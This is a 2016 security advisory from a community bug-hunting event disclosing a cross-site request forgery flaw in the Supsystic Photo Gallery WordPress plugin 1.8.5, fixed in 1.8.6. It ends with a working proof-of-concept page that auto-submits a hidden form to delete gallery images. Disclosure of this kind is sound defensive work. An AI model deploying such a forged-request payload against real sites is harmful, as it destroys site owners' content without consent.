Umit Aksu, July 2016

Cross-Site Request Forgery in Photo Gallery WordPress Plugin allows deleting of images

Abstract

A Cross-Site Request Forgery vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue can be used by an attacker to delete arbitrary images from the Photo Gallery.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160722-0002

Tested versions

This issue was successfully tested on Photo Gallery by Supsystic WordPress Plugin version 1.8.5.

Fix

This issue is resolved in Photo Gallery by Supsystic version 1.8.6.

Introduction

The Photo Gallery by Supsystic WordPress Plugin can be used to create portfolios and image galleries. A Cross-Site Request Forgery vulnerability was found in the Photo Gallery by Supsystic WordPress Plugin. This issue can be used by an attacker to delete arbitrary images from the Photo Gallery.

Details

This issue exists because Photo Gallery lacks protection against Cross-Site Request Forgery attacks. Due to this, it is possible to delete images from an existing gallery. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Proof of concept

<html>
   <body>
      <form method="post" action="http://192.168.1.18/wp-admin/admin-ajax.php">
         <input type="hidden" name="action" value="grid-gallery">
         <input type="hidden" name="gallery_id" value="2">
         <input type="hidden" name="ids[]" value="5">
         <input type="hidden" name="ids[]" value="7">
         <input type="hidden" name="route[module]" value="galleries">
         <input type="hidden" name="route[action]" value="deleteResource">
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>